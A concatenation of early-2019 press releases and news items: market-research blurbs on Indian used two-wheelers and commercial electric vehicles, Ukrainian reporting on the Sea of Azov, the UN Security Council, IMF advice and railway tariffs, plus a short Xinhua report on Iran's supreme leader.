It is anticipated that the used two wheelers market in India will continue to grow in the coming years as used vehicles are much cheaper to purchase than a new one. Projections for the future suggest that the overall market for used two wheelers in India is likely to showcase a vibrant growth in terms of sales volume in FY'2023E. Individuals mostly in smaller cities and towns who wish to own a vehicle begin with buying a second hand two-wheeler to get hold of it. In addition, local dealers who have been facing tough competition from the online classifieds will be seen associating with the online players to reach out to greater audiences.

Key Segments Covered

Market Structure

Unorganized Sector

Organized Sector

Distribution Channel

C2C

B2C

Stock Piece and Customized Two Wheelers

Source of Manufacturing of Two Wheelers

Domestically Manufactured

Imported Bikes

Type of Two Wheelers

Motorcycles

Scooters

Engine Capacity of Two Wheelers

100-110cc

125-135cc

150-200cc

Others (Above 200cc)

Average Ownership Period of Two Wheelers

3-4 Years

4-5 Years

5-6 Years

Others

Manufacturer of Two Wheelers

Hero

Bajaj

Honda

Others (TVS and Yamaha)

Body Type of Two Wheelers

Commuter

Scooter

Sports

Others (Off-roading bikes, super bikes and cruiser bikes)

Certification of Two Wheelers

Non-Certified

Certified

Financing of Two Wheelers

Non-Financed

Financed

Key Target Audience

Automobile Companies

Two Wheeler Companies

Online Classifieds

Time Period Captured in the Report:



Historical Period - FY'2013-FY'2018

Forecast Period - FY'2018-FY'2023E

For more information about this report visit https://www.researchandmarkets.com/research/x5lvbm/india_used_two?w=12

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.Five EU members states support Ukraine prior to UNSC meeting 112 Agency

France, Germany, Poland, Belgium and the United Kingdom together with Italy, the Netherlands, Sweden expressed their full support to Ukraine as they approached the media with a joint statement prior to the UN Security Council meeting on Ukraine on February 12. Jonathan Allen, Deputy Permanent Representative of the United Kingdom to the United Nations on behalf of the five European Union members and three others read the statement.

We as member states of the European Union fully support the independence, sovereignty, and territorial integrity of Ukraine within the internationally recognized borders. After five years of conflict the deteriorating security situation in Eastern Ukraine has had an increasing impact on the civilian population in particular  the most vulnerable, living in the non-government control areas and along the line of contact where people are under continuous threat of shelling, Jonathan Allen said.

The UN Security Council was convened on Russias initiative, on February 12 at 3 p.m. (10 p.m. Kyiv time) in New York.

Fourth anniversary of the Minsk Agreements was the declared reason, though the Ukraine's Permanent Mission to the UN notes that the real purpose is to divert attention from the discussion Russian Aggression against Ukraine at the UN General Assembly.

While the 2015 Minsk agreements are the only agreed framework for a negotiated peace in eastern Ukraine, they remain largely unimplemented, senior United Nations and other officials told the Security Council today, urging all parties to the conflict to uphold their commitments to uphold a permanent ceasefire.Ukrainian Minister of Infrastructure Volodymyr Omelyan stated, on February 1, that Russians most recent actions in the Sea of Azov have resulted in Ukraine losing $360 million (RBC, February 1). The announcement pointedly contrasted with comments from several weeks earlier by Mikhail Sheremet, a deputy in the State Duma (the lower chamber of the Russian parliament). Specifically, the Russian lawmaker defiantly claimed that sanctions will not change Russias policies in the Sea of Azov, adding that threats and aggressive rhetoric will do nothing but deepen the rift between the two countries [Russia and Ukraine] and hinder bilateral trade and understanding (RIA Novosti, January 16).

In spite of its limited geographic scope, the Sea of Azov is crucial for the Russian side for three main reasons. First, it provides Russia with economic leverage against Ukraine. Second, the Azov Sea serves as an operational theater from which to deepen the political and economic rift between Ukraines southeastern regions and Kyiv. And third, Russian activities in the Azov Sea contribute to expanding Russias military power in the wider Black Sea region.

Speaking on television last summer, the former governor of Donetsk Oblast (20152018), Pavlo Zhebrivsky, defined Moscows strategy in the Sea of Azov as a creeping annexation (polzuchaya anneksiya), premised on blocking the remaining transit of Ukrainian vessels via the Kerch Strait as well as isolating Odesa in addition to Ukraines Azov Sea ports. One of the goals of this strategy, Zhebrivsky asserted, has been to pressure Kyiv into fully reestablishing occupied Crimeas water supply, which used to come from mainland Ukraine ( Rosbalt , August 15, 2018):

In turn, the secretary of the Ukrainian National Security and Defense Council, Oleksandr Turchynov, has pointed to Russias increasing military buildup in the region (primarily arrayed against the coastal city of Mariupol and the surrounding areas). This buildup threatens and de facto blockades all the Ukrainian cities located along the northern shore of the Azov Sea (an area known as Pryazovia) (Segodnya.ua, August 23, 2018).

Finally, the deputy chief of the General Staff of Ukraines Armed Forces, Lieutenant General Ihor Romanenko, noted the regional risks associated with deployments of 3M-54 Kalibr cruise missiles onto Russian naval and coast guard vessels operating in the Sea of Azov. With a reported strike range of up to 2,500 kilometers, these advanced missiles can cover all of Ukraine ( Rosbalt , August 15, 2018). Collectively, these aforementioned security developments are profoundly decreasing both the economic attractiveness and logistical capabilities of Ukraines two main Pryazovian seaportsMariupol and Berdyansk.

Russias use of the Azov Sea for shipping goods looks quite modest (at least based on official statistics). The largest Russian port there, Rostov-on-Don, handles only 12.9 million tons of cargo annually (together, Ukraines Mariupol and Berdyansk have an annual capacity of 17 million tonssee Part One, EDM, January 30, 2019). In contrast, the Black Sea port of Novorossiysk handles 131.4 million and Murmansk (in the Arctic High North)33.4 million (Fontanka.ru, accessed February 3, 2019). Instead, when it comes to maritime shipping in the Sea of Azov, Russia appears to be profiting mainly from smuggling and the so-called gray trade, while extensively relying on illegal front companies (Krymr.com, January 30).

Connected to this, it is evident that Russia is attempting to use the Azov Sea as a means to evade Western economic sanctions. One of the most telling examples came to light on January 21, 2019, when a fire broke out aboard two Tanzanian-flagged liquid natural gas (LNG) tankers, Maestro and Candy, off the southeastern coast of Crimea. The Maestro (crewed by citizens of Turkey and India) was headed to the Russian Azov Sea port of Temryuk. However, the vessel allegedly belongs to the Turkish company Milenyum Denizcilik Gemi, which is under United States sanctions (Krymr.com, January 21). Further investigation demonstrated that, since at least 2016, the Maestro has been used to transport Russian- and Kazakhstani-originated hydrocarbon products to some countries of the Middle East, including Syria (Pravda.com.ua, January 23).

Another important area of smuggling is coal. On January 7, a ship with a Ukrainian crew (but under the flag of Panama) sank near Turkey. It was quickly revealed to have been transporting coal from Azov (Russia) to Samsun (Turkey). Importantly, the coal it was carrying aboard had first been illegally smuggled out of the Temporarily Occupied and Uncontrolled Territories of Ukraine (TOUTU)specifically, the Luhansk and Donetsk regions (Zn.ua, January 8). Further evidence strongly suggests that the coal from the TOUTU (400,000500,000 tons of the highest-quality anthracite extracted monthly), is being illegally transported via Russias Azov Sea ports and has apparently been sold to Poland, Moldova, Romania and even back to Ukraine. This supposition has been partly corroborated by detailed analysis of the Russian companies in charge of coal-related deals. Two key playersVneshtorgservis (registered in South Ossetia) and Gaz Alians (Russian registration)are closely connected to Ukrainian oligarch Serhiy Kurchenko (who fled the country in 2014) and his alleged patron in Moscow, Deputy Prime Minister Dmitry Kozak. Moreover, in 2018, Russias port city of Azov increased its transportation of coal by 50 percent year-on-year (Marker.ua, January 18, 2019). In other words, the Russian side is artificially strangling southeastern Ukraines trade by de facto blockading Mariupol and Berdyansk, while simultaneously increasing its own trade (especially in terms of coal) in the Azov Sea basin.

Another crucial Russian seaport used for illegally exporting coal from the TOUTU to foreign markets is Taganrog, (161.ru, August 17, 2018)an assertion that has been implicitly corroborated by the Organization for Security and Cooperation in Europes Special Monitoring Mission (OSCE SMM). On January 13, the SMM detected 60 rail cards moving from Donbas toward the Russian border. Subsequently, this coal may easily have been relabeled as extracted in the Kuznetsk Basin and exported abroad (Marker.ua, January 18, 2019).

Over the past several years, Russia has been progressively taking de facto control over the maritime transit in the Sea of Azov and consequently slowly strangling the local economy in Ukraines Pryazovia. At the same time, Russia has been using these regional shipping lanes to illegally export coal extracted from occupied Donbas. In light of these dynamics, Kyivs policy of an economic blockade of the TOUTU (see EDM, February 24, 2017; March 29, 2017) looks increasingly ineffective and may need to be radically reformulated.

Read the original text here.Acute disputes between Kyiv and Moscow regarding the Azov Sea, its status and navigation rights broke out immediately after the collapse of the Soviet Union, in 1991. But by 2003, the parties concluded an agreement that proclaimed the Azov Sea an internal sea of Russia and Ukraine, with both countries having equal rights to it and declaring that no obstruction of maritime traffic from either side is allowed

On January 17, Ukrainian Minster of Defense Stepan Poltorak stated that Russias ultimate goal in the AzovBlack Sea region is to force Ukraine to renounce its right to navigate through the Kerch Strait and to annex the Sea of Azov in its entirety (Telegraf.com.ua, January 17, 2019). Acute disputes between Kyiv and Moscow regarding the Azov Sea, its status and navigation rights broke out immediately after the collapse of the Soviet Union, in 1991. But by 2003, the parties concluded an agreement that proclaimed the Azov Sea an internal sea of Russia and Ukraine, with both countries having equal rights to it and declaring that no obstruction of maritime traffic from either side [is] allowed ( Sovremennoepravo.ru , accessed January 27, 2019). In 2007, Kyiv and Moscow reached a new agreement stating that every vessel traveling through the Kerch Strait [which connects the Azov and Black seas] must report the nature of its business to the Kerch port ( Svoboda.org, December 19, 2018). Yet, following Russias illegal annexation of Crimea in March 2014, Moscow has assumed de facto control over access to/from the Sea of Azov ( Svoboda.org , December 19, 2018), thus essentially transforming this highly enclosed body of water into an internal lake ( Inosmi.ru , December 11, 2018).

When addressing the issue, the majority of experts concentrate on the military-strategic importance of this area, which, indeed, is inseparable from Russias rapid military buildup in Crimea as well as Moscows most recent naval provocations ( Russian7.ru , December 8, 2018). But what frequently escapes attention is the geostrategic and geo-economic importance of this maritime zone. In fact, it is so vital to Ukraine that, even without firing a single shot, Moscow could economically strangle a sizable portion of southeaster Ukraine, cultivate local anti-Kyiv sentiment, and trigger additional instability, turmoil and the potential outbreak of separatist sentiment there.

Ukrainian economic and geo-strategic interests in the Azov Sea are premised on two major communication/transportation pivots: Berdyansk and Mariupol. The port of Berdyansk handles primarily agricultural cargos and smaller vessels coming to and from Russia, Kazakhstan, Iran, as well as countries in the Mediterranean and Southeast Asia. Whereas, Mariupol (popularly known as the export gates of Ukraine due to its former connection to 152 ports worldwide) deals primarily with outgoing shipments of iron, coal and metallurgy product.

Prior to 2014, both of these Azov Sea ports secured virtually a quarter of Ukraines maritime exports. But the current output has plummeted by three times (despite an annual capacity of 17 million tons, the actual export volumes are currently 5.8 million), primarily caused by Russias groundless detentions of vessels [traveling to and from Mariupol and Berdyansk] and the proximity of the zone of instability [i.e., the frontline in Donbas] ( Bankomet.com.ua , accessed January 24, 2019). Another limiting factor is the height of Russias Kerch Strait Bridge (connecting occupied Crimea to the Russian mainland), which has resulted in Mariupol losing up to 30 percent of its shipping fleet, leading to breaches of contracts with important foreign customers from the United States and Southeast Asia ( X-rss.com , November 30, 2018). Since the start of 2019, Mariupol received only five vessels and Berdyanskthree. In 2016, these figures were six times higher ( Dnews.dn.ua, January 19, 2019). The present situation is further aggravated by southeastern Ukraines poor railroad connections, inadequate infrastructure and the constant risk of new hostilities breaking out nearby ( Newizv.ru , December 16, 2018).

In accordance with Ukrainian legislation, the Mariupol and Berdyansk ports are both owned by the state; yet, a closer look at the issue reveals a somewhat different picture. Many Ukrainian sources ascribe these two port facilities to the broader business interests of Rinat Akhmetov (one of the most affluent and powerful Ukrainian oligarchs). He is said to control the port in Mariupol via his relationship with associate Aleksandr Oleynik (its current director). Control over Berdyansk was de facto established in August 2018, when Metinvest Group (an enterprise owned by Akhmetov) acquired 25 percent of the stock auctions of Donetskstal Metallurgical Plant (controlled by Viktor Nusenkis)an enterprise that reportedly had control of the port in the past ( UNIAN , August 9, 2018). The rest of the stock was acquired by independent players (such as Altana Limited, Misandyco Holdings LTD, Mastino Trading LTD and Treimur Investments Limited), whose origins may themselves also point to connections with Akhmetov ( Delo.ua , October 2, 2018). Another important player is Akhmetovs business partner Vadim Novinsky (the owner of the Smart-Holding Group), who is interested in Mariupol as an important artery of agricultural exports, particularly given the fact that, in 2019, this port is to receive a major new grain complex. Ukrainian sources argue that the interests of Novinsky and Akhmetov could further converge over the agribusiness entity HarvEast Holding (based in Donetsk region), in which both are stakeholders ( Ukraina.ru , December 7, 2018).

While official figures demonstrate the virtual collapse of transportation via Ukraines two main ports on the Azov Sea, smuggling is seemingly becoming a viable substitute to legal transactions. A closer look at this opaque issue points to the involvement of Russia, Ukraine and some third parties. One of the most recent and discussed episodes occurred in November 2018, when a Dutch vessel, the Comet, under the flag of Liberia and managed by a Singapore-based company, was apprehended in Mariupol. The vessel, which turned out to have belonged to Russia in the past, was carrying 3,000 tons of metal products illegally transported from Alchevsk Metallurgic Combinate (currently under the occupation of separatist forces) to Antwerp, Belgium ( Censor.net.ua , November 1, 2018). Further investigation revealed that the crew consisted of Russian and Ukrainian citizens. This example is by no means the only oneapparently, smuggling in the Sea of Azov is becoming an increasingly lucrative business ( Fondsk.ru , November 6, 2018). Some sources have claimed that the cargo onboard the Comet may have effectively belonged to Akhmetov, which raises even more questions regarding the smuggling scheme and private business interests in the Azov Sea today ( Nsn.fm , November 2, 2018).

As pointed out above, Russias current strategy in the Sea of Azov (the economic strangulation of Mariupol and Berdyansk) is, at its core, an elaborate attempt to morally break down the population of southeastern Ukraine and seed anti-Kyiv sentiment there ( Inosmi.ru, December 5, 2018). But a secondary Russian motive, which often escapes observers attention, is to concoct artificial antagonism between Mariupol and Odesa. As noted by the head of the Mariupol seaport, Igor Bayskii, we are losing clients to Odesa, which does not face the same problems that we do ( Inosmi.ru , July 26, 2018).

Read the original text here.This is the best way to attract the investments, says Goesta Ljungman, the Fund's Permanent Envoy in Ukraine

Open source

Ukraine should be focusing on conducting land reform and privatization, in order to attract foreign investments. Goesta Ljungman, the IMF Permanent Envoy in Ukraine gave this piece of advice to the government in Kyiv, as quoted by Ukrinform news agency.

'Among the things to be done, there's a focus on the land reform so that one could buy the agricultural lands. It is also worth focusing on privatization of state-run enterprises so that the private sector could make its respective contribution', Ljungman said.

He added that the reform of the State Fiscal Service of Ukraine begins now, and this should improve the business environment.

In December 2018, the IMF Directors Board approved the new 14-months-long program of cooperation with Ukraine within the stand-by mechanism. The overall volume of the program makes 3.9 billion U.S. dollars. Ukraine already received the first tranche under this program in December 2018.

The National Bank of Ukraine expects that the IMF would assign another two loans throughout this year, 1.3 billion dollars each. The decisions are to be made in May and November, respectively and will be based on how Ukraine performs in terms of the reforms' implementation.Hennadiy Zubko, the Deputy Prime Minister of Ukraine Open source

The government reported when and how Ukrainians will be able to get cash within the monetization of subsidies process. Hennadiy Zubko, the Deputy Prime Minister said this, as 112.ua reports.

According to Zubko, today over 4.2 million households have the right to get subsidies, about 70% of them are retired people. Another 1.2 million are working population although they need the state to help them in paying utilities.

The schedule when and how the pensioners can withdraw money is still in the process, those, who have bank accounts in Oshchadbank, will get the money on time. Those who get their pensions through the post office Ukrposhta will get the pension with subsidies during 4-25 of March. Those who have not opened accounts in the bank yet, should open them and quickly pay for the services, - Zubko added.

As we reported earlier, Ukraine would suspend the introduction of elements of the funded second pillar to the pension system for the period when the new Stand-By Arrangement (SBA) with the International Monetary Fund (IMF) is in effect.

IMF published the text of the Memorandum on the economy and fiscal policy within the new program for 2018-2020.German Permanent Representative to the UN Christoph Heusgen said that Russias statements about internal Ukrainian conflict and its non-involvement in the occupation of the territories of Ukraine are not true

UN Security Council Reuters

The statements of Russian Federation about the "Ukrainian internal conflict" and its non-involvement in occupation of Ukraines territories are not true. German Permanent Representative to the UN Christoph Heusgen said this at the meeting of the UN Security Council, convened at the request of the Russian Federation, as the Interfax agency reports.

I just listened to Vasily (Russia's Permanent Representative to UN Vasily Nebenzya 112.international) And I got the impression that Ukraine attacked Russia, and not Russia attacked Ukraine, he said at the beginning of his speech in response to Nebenzyas remarks.

Russia's Permanent Representative to UN Vasily Nebenzya in his speech has traditionally accused official Kyiv of sabotaging the implementation of Minsk agreements, organizing provocations, creating a humanitarian catastrophe in Donbas, etc.

In response to this, German diplomat stated that Russian claims about the alleged "internal conflict" in Ukraine were lies.

Our Russian friends have been talking for years, and Vasily repeated it again, that there is an internal conflict over a change of government in Ukraine. We know that in reality, it was a Russian invasion. The Russian military was directly involved in the occupation of Crimea, Donetsk, and Luhansk Heusgen said.

German diplomat noted that attempts of Russian representatives to distance themselves and present themselves as unrelated to what happened in 2014 in Crimea and Donbas were later leveled by public recognition by Russian President Vladimir Putin that he had ordered the special services to seize the Crimea on February 20, 2014.

"Crimea is still occupied, Donbas is still occupied. And all this with the help of the myth about "green men", or that someone there "took the fate in their hands"? No, it was the Russian military. In 2014-2015 it became even clearer, he said.

Christoph Heusgen also drew attention to the numerous attempts by the Russian authorities to conceal the truth about the participation of the Russian military in battles against the Ukrainian army in Donbas.

As it was reported earlier, the UN Security Council is holding a session On February 12, at 3 p.m. (10 p.m. Kyiv time) in New York.There is a 1,5-meter hole near the house

A shell hole in a yard near a dwelling house in Zaitseve, February 13, 2019 Joint Center on Control and Coordination (JCCC)

A dwelling house in Zaitseve, Donetsk region, came under fire from the occupants, as Joint Forces Operation press office reported on Facebook.

On February 8, attack from Minsk-banned weapons, 82mm mortars, in particular, was performed from Golmovsky at Zaitseve, Donetsk region, the message says.

It was reported that Ukraines patrol of the monitoring group of the Joint Centre of Control and Coordination has received a message, which said that a shell hit a residential yard.

A shell hole in a yard near a dwelling house in Zaitseve, February 13, 2019 Joint Center on Control and Coordination (JCCC)

The monitoring group of the Ukrainian side of the Joint Centre of Control and Coordination recorded damage of the yard and a shell hole with a diameter up to 1,5 meters three meters away from the dwelling house. It was confirmed that an 82mm shell made a hole. Fortunately, a 48-year-old owner of the house was not in the yard during the attack, the HQ informed.

As it was reported, militants attacked Ukraines positions in Donbas combat zone with mortars and heavy machine guns.

Related video:Open source

Ukrainian railways Ukrzaliznytsia (UZ) intends to raise tariffs for rail transportation once again. The state monopolist intends to automatically index tariffs on the industrial producer price index. Over the past year, UZ has implemented several initiatives, which made logistics much more expensive. At the same time, the quality of services of the Ukrainian railways has not increased, the market participants assure. According to them, against the background of the transit war with Russia, the next unjustified increase in UZ tariffs would lead to a decrease in exports from Ukraine, a decrease in foreign exchange earnings and a significant slowdown in economic growth.

A draft resolution of the Cabinet of Ministers appeared on the website of the Ministry of Infrastructure on February 1, which introduces a mechanism for the annual automatic indexation of tariffs for freight transportation at the level of the producer price index for industrial products. This means that the state monopolist Ukrzaliznytsya will be able to arbitrarily change the tariff rates upward, revising them quarterly. Previously, every next increase was approved by the Cabinet.

According to the press release on the UZ website, the adoption of the draft resolution on automatic price indexation will allow improving the quality of services provided. Despite the fact that lately, UZ has already implemented a lot of initiatives that have significantly increased the cost of logistics, the quality of services has not yet increased, market participants say. With a standard of 250 km per day, we have anti-record, when a cargo rides for weeks those couple of hundred kilometers," said Mykola Gorbachov, President of the Ukrainian Grain Association.

Today, everyone is well aware of the main challenge  the lack of traction. At the same time, we see a failure to fulfill the plan for capital investments: in 2018 the level of fulfillment was 60%, in 2017 it reached 11, in 2016 it amounted to 69 %. Not even talking about the purchase of new locomotives, at least about the repair of existing ones," said Oleksandr Kryvoruchko, head of the Wagon Owners Association, in an interview with 112.ua.

Impact on business and GDP

UZ had the opportunity to independently determine the rate for the use of cars. According to the Anti-Monopoly Committee of Ukraine (AMCU), the share of the state monopolist only in covered wagons (used to transport food products) reaches 78%. Given that the rate is determined by the formula, at least two of its components (profitability and discount) are determined by UZ independently. Thus, last year, the rate went up three times and increased six times from its original size, said the head of the Ukrkondprom railway association, Oleksandr Baldynyuk: "This actually kills food industry exports taking into account the transit war with Russia, which illegally blocks transit through its territory, thus closing Ukrainian products access to the markets of Central Asia."

According to Baldynyuk, Ukrainian manufacturers are forced to use alternative routes through the Black Sea and Caspian ferries, which is 2.5 times more expensive than transporting through Russia. "All these factors negatively affect the trade presence of Ukrainian products in the markets. Only confectionery exports have lost 60 thousand tons in four years."

Metallurgists do not support the initiative of automatic indexing. Ukraines Federation of Metallurgists states, if the initiative of UZ is approved, an additional increase in costs for industrial producers will be 428 million USD. At the end of last year, the index grew by 14,2%.

Grain traders are opposing automatic indexation of tariffs on the industrial price index, as this will undermine the entire pricing system in the grain market, said President of the Ukrainian Grain Association Mykola Gorbachov. According to him, at least one-third of the whole grain is purchased under the forward contracts, that is, even before the crop is grown and harvested. "It is very important for us to plan and understand the costs of such logistics in September, October, November. Without knowing the exact size of tariffs, it is impossible to predict the price for the forward contracts. Thus, grain traders will put logistics risks into purchase prices, and this will lead to lower profitability in the production of grain," said Gorbachov.

Destruction of the monopoly is the answer

Experts and market participants indicate that despite the fact that UZ constantly increases the cost of the logistics components, increasing its cash receipts, it does not have time to use these funds.

"Cash balances is another odd figure, given the failure to implement the investment plan (the planned balance at the end of 2019 is about 142 million USD). There is no sense in keeping these funds in the company, they dont work there. In fact, UZ withdraws the investment business itself but does not use it itself. Similarly in 2017: at the end of the year, account balances amounted to 185 million USD. In 2018, this figure was about 178 million USD," Kryvoruchko notes.

The situation can be saved by the admission of private operators to the locomotive burden, which they now do not have. "A fair tariff will be formed only if there is competition, and this requires public-private partnership projects and the locomotive component liberalization. Only the market will be able to adjust the size of tariffs to a normal level of profitability that ensures profitability. In the US, there are three private railway operators and if you buy services from forwardly, you can get a significant discount," said Gorbachov.

The draft law "On Railway Transport," which provides for the liberalization of the railway transportation market, was registered in the parliament at the end of January. "The industry requires a new law of Ukraine "On railway transport" with the European industry management system and basic principles for the formation of a competitive model of the railway services market. Completion of the "first stage" of reform requires pragmatic and systematic work with a main focus on reforming the tariff system (changing the economic business model), admission of private traction (the beginning of the formation of a competitive market), and priority investments in infrastructure (the target goal of "Ukrzaliznytsia"). The law needs to update the monopolists responsibility for meeting delivery deadlines since it is a great issue today, Kryvoruchko explains.

While the parliamentary decision is not made, the Ukrainian manufacturers urge UZ, the Ministry of Infrastructure, the Ministry of Economic Development and Trade, the Cabinet of Ministers, and all interested authorities to start a dialogue.

Read the original text at 112.ua.Dublin, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The "Commercial Electric Vehicle Market by Propulsion, by Vehicle Type, by Battery, by Cell Format, by Geography - Global Market Size, Share, Development, Growth, and Demand Forecast, 2013-2025" report has been added to ResearchAndMarkets.com's offering.



Commercial electric vehicle market is projected to reach $362.7 billion by 2025



The growth of the market is majorly driven by stringent vehicular emission norms all around the globe. Conventional diesel-powered commercial vehicles contribute significantly to greenhouse gas (GHG) emissions. In order to cut down the emissions from these vehicles, the governments in different countries are tightening the emission standard. In addition, the governments are supporting the adoption of commercial vehicles running on alternative fuels by announcing financial incentives schemes for the purchase of these vehicles, benefitting the market during the forecast period.



On the basis of propulsion, the commercial electric vehicle market has been categorized into battery electric vehicle (BEV), hybrid electric vehicle (HEV), plug-in hybrid electric vehicle (PHEV), and fuel cell electric vehicle (FCEV). The BEV category is expected to dominate the market during the forecast period. This can be attributed to technological advancements in battery technology, which bring down the upfront cost; and the financial incentives offered by governments on the purchase of these vehicles.

Based on vehicle type, the market has been categorized into electric bus and electric truck.



The commercial electric vehicle market for electric buses grew at a faster rate, with a CAGR of 75.9% in terms sales volume, during the historical period. Huge demand for electric buses from customers, including city governments and public-transit operators, is a propulsion to the strong adoption of electric buses.



Based on battery, the commercial electric vehicle market has been categorized into lithium-iron-phosphate (LFP), lithium-nickel-manganese-cobalt oxide (NMC), and others. Commercial vehicles that run on LFP batteries are expected to continue dominating the market in the coming years. LFP batteries are safer than other batteries in the market and, therefore, more preferred for heavy-duty electric buses and trucks. However, during the forecast period, the fastest growth in the market is expected from NMC battery-powered commercial electric vehicles, with 20.4% CAGR, in terms of sales volume. lithium-titanate oxide (LTO) batteries are also expected to grow significantly during the forecast period.



Globally, APAC held the largest share in the commercial electric vehicle market during the historical period, accounting for more than 80% sales volume in 2017. China is the largest market for these vehicles in the world. Favorable government subsidies, stringent emission norms, and fuel-based vehicle replacement targets are the major factors driving the domestic demand for commercial electric vehicles in China.



The commercial electric vehicle market in other parts of the world is still in its nascent phase and depends largely on government policies. The presence of few electric bus manufacturers and comparatively higher upfront costs have restricted the sales of these vehicles in these regions. However, the manufacturers in these regions are investing heavily for the development of these vehicles, which is anticipated to upsurge the market growth during the forecast period.



Over the years, automated driving has gained traction in the commercial electric vehicle market. Technological advancements in the fields of instrumentation, and actuation and sensing technologies have led to the emergence of autonomous and semi-autonomous transportation systems. Original equipment manufacturers (OEMs) such as Navya SAS, AB Volvo, Easy Mile SAS, and SB Drive are embracing autonomous driving and working toward the development of autonomous vehicles.



In September 2018, Volvo Trucks, a subsidiary of AB Volvo, unveiled Vera, an autonomous electric truck to meet the growing demand for commercial vehicles, primarily in the proliferating e-commerce industry, in a sustainable way. In August 2018, Keolis SA in collaboration with Navya SAS announced the launch of a long-term autonomous electric shuttle demonstration project in Quebec, Canada. The pilot project will take place over a period of 12 months, with about eight months dedicated to serving citizens. The increasing activities of the major OEMs toward the development and launch of autonomous commercial electric vehicle is observed as a major trend in the market.



The global commercial electric vehicle market is led by the Chinese manufacturers. Zhengzhou Yutong Group Co. Ltd., closely followed by BYD Co. Ltd., is the leading player in the electric bus market.



These two companies hold a major share in the market, mainly on account of the longer battery life, more driving distance, and increased efficiency offered by their buses, as compared to buses offered by other market players. Dongfeng Motor Corporation is the leading player in the electric truck market.



Other important player in the market are Zhongtong Bus & Holding Co. Ltd., Nanjing Golden Dragon Bus Co. Ltd., Zhuhai Yinlong New Energy Ltd., Futian Ouhui Bus, AB Volvo, Voltia a.s., Alk, Zenith Motors, LLC, and Daimler AG's subsidiary Mitsubishi Fuso Truck and Bus Corporation.



Key Topics Covered:



Chapter 1. Research Background

1.1 Research Objectives

1.2 Market Definition

1.3 Research Scope

1.4 Key Stakeholders



Chapter 2. Research Methodology

2.1 Secondary Research

2.2 Primary Research

2.3 Market Size Estimation

2.4 Data Triangulation

2.5 Assumptions for the Study



Chapter 3. Executive Summary



Chapter 4. Introduction

4.1 Definition of Market Segments

4.1.1 By Propulsion

4.1.1.1 BEV

4.1.1.2 HEV

4.1.1.3 PHEV

4.1.1.4 FCEV

4.1.2 By Vehicle Type

4.1.2.1 Electric Bus

4.1.2.1.1 Less than 10 m

4.1.2.1.2 More than 10 m

4.1.2.2 Electric Truck

4.1.2.2.1 LDT

4.1.2.2.2 MDT

4.1.2.2.3 HDT

4.1.3 By Battery

4.1.3.1 LFP

4.1.3.2 NMC

4.1.3.3 Others

4.1.4 By Cell Format

4.1.4.1 Pouch

4.1.4.2 Prismatic

4.1.4.3 Round

4.2 Market Dynamics

4.2.1 Trends

4.2.1.1 Emergence of autonomous vehicles

4.2.2 Drivers

4.2.2.1 Growing concerns over GHG emissions

4.2.2.2 Declining cost and improving operational efficiency of batteries

4.2.2.3 Long-term cost benefits of commercial electric vehicles

4.2.2.4 Impact analysis of drivers on market forecast

4.2.3 Restraints

4.2.3.1 High price of commercial electric vehicles

4.2.3.2 Inadequate infrastructure and underdeveloped value chain ecosystem

4.2.3.3 Impact analysis of restraints on market forecast

4.2.4 Opportunities

4.2.4.1 Growing adoption of commercial electric vehicles in developing economies



Chapter 5. Global Market Size and Forecast

5.1 By Propulsion

5.2 By Vehicle Type

5.2.1 Electric Bus, by Length

5.2.2 Electric Truck, by Type

5.3 By Battery

5.4 By Cell Format

5.5 By Geography



Chapter 6. North America Market Size and Forecast



Chapter 7. Europe Market Size and Forecast



Chapter 8. APAC Market Size and Forecast



Chapter 9. RoW Market Size and Forecast



Chapter 10. Charging Business Model

10.1.1 Business Model Structure

10.1.1.1 Infrastructure

10.1.1.2 Offerings

10.1.1.3 Customers

10.1.1.4 Finances

10.1.2 Quantitative and Qualitative Analysis



Chapter 11. Potential Strategies for Charging Commercial Electric Vehicles

11.1 Overview

11.2 Strategies for Charging Commercial Electric Vehicles

11.3 Cost Structure Analysis of Different Types of Charging Stations

11.3.1 Plug-In Charging Station Cost Structure

11.3.2 Pantograph Charging Station Cost Structure

11.3.3 Inductive Charging Station Cost Structure

11.3.4 Installation Cost Structure



Chapter 12. Value Chain Analysis



Chapter 13. Electric Bus Charging Market Overview (Regulation, Incentive Schemes, Key Stakeholders)



Chapter 14. Insights on Battery Usages for Fleet Charging



Chapter 15. Key Strategic Recommendations



Chapter 16. Appendix



Companies Mentioned



Zhengzhou Yutong Group Co. Ltd.

BYD Auto Co. Ltd.

Zhongtong Bus & Holding Co. Ltd.

Nanjing Golden Dragon Bus Co. Ltd.

Zhuhai Yinlong New Energy Ltd.

Futian Ouhui Bus

AB Volvo

Zhuhai Yinlong New Energy Ltd.

Futian Ouhui Bus

AB Volvo

Hino Motors Ltd.

Isuzu Motors Ltd.

Iveco S.p.A.

Nissan Motor Co. Ltd.

Workhorse Group Inc.

Daimler AG

Cummins Inc.

Nikola Corp.

Tesla Inc.

For more information about this report visit https://www.researchandmarkets.com/research/zzj3rq/362_7_bn?w=12

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.(P) Afla cum poti sa devii si tu un influencer cool

In ziua de azi, se intalneste din ce in ce mai des aceasta notiune si toti tinerii isi doresc sa fie influenceri, dar ce inseamna asta mai exact? Notiunea de influencer, asa cum ii indica si numele, presupune sa exprimi parerile tale unui grup mai mare de persoane sau pe scurt, sa ii influentezi [citeste mai departe]Iran's Supreme Leader Ayatollah Ali Khamenei speaks in Mashhad, 924 km east of Tehran, on May 15, 2007. (Reuters File photo)

TEHRAN, Feb. 13 (Xinhua) -- Iran's supreme leader on Wednesday ruled out the possibility of negotiations with the United States over the existing issues.

"As for America, no solution for the (existing mutual) problems is in prospect," Ayatollah Ali Khamenei said in a statement published by his official website.

"Talks with America will bear no fruit, but material and spiritual loss for the Islamic republic," Khamenei was quoted as saying.

"Today, the Iranian nation considers the criminal America, as well as some European states, as deceptive and untrustworthy," he said.

Khamenei had earlier said that the Islamic republic would not hold new negotiations with the "cheating" United States referring to the U.S. withdrawal from the Iranian international nuclear deal, known also as the Joint Comprehensive Plan of Action (JCPOA).

U.S. President Donald Trump decided to quit the 2015 nuclear pact in May 2018, reimposed tough sanctions lifted under the accord against Iran and vowed to inflict punishments like secondary sanctions on nations that have business links with Iran.

Washington's withdrawal from the landmark nuclear deal was criticized across the world.Source: Xinhua| 2019-02-14 05:15:37|Editor: yan

